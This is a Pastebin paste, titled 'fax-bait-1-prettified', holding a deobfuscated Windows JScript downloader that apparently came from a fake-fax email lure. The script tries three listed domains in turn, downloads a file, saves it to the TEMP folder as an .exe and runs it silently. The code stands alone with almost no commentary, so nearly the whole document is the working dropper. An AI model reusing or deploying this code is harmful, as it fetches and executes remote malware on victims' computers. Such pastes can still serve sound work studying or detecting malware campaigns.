daily pastebin goal
44%
SHARE
TWEET

fax-bait-1-prettified

gotgameg Nov 5th, 2015 22 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var b = "pdeluxedesign.com monarchexcess2.com cjet.com.br".split(" ");
  2. var ws = WScript.CreateObject("WScript.Shell");
  3. var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "231789";
  4. var xo = WScript.CreateObject("MSXML2.XMLHTTP");
  5. var xa = WScript.CreateObject("ADODB.Stream");
  6. var ld = 0;
  7. for(var n = 1; n <= 3; n++) {
  8.   for(var i = ld; i < b.length; i++) {
  9.     var dn = 0;
  10.     try {
  11.       xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=338283" + n, false);
  12.       xo.send();
  13.       if(xo.status == 200) {
  14.         xa.open();
  15.         xa.type = 1;
  16.         xa.write(xo.responseBody);
  17.         if(xa.size > 1000) {
  18.           dn = 1;
  19.           xa.position = 0;
  20.           xa.saveToFile(fn + n + ".exe", 2);
  21.           try {
  22.             ws.Run(fn + n + ".exe", 1, 0);
  23.           } catch(er) {
  24.  
  25.           }
  26.           ;
  27.         }
  28.         ;
  29.         xa.close();
  30.       }
  31.       ;
  32.       if(dn == 1) {
  33.         ld = i;
  34.         break;
  35.       }
  36.       ;
  37.     } catch(er) {
  38.  
  39.     }
  40.     ;
  41.   }
  42.   ;
  43. }
  44. ;
RAW Paste Data
Top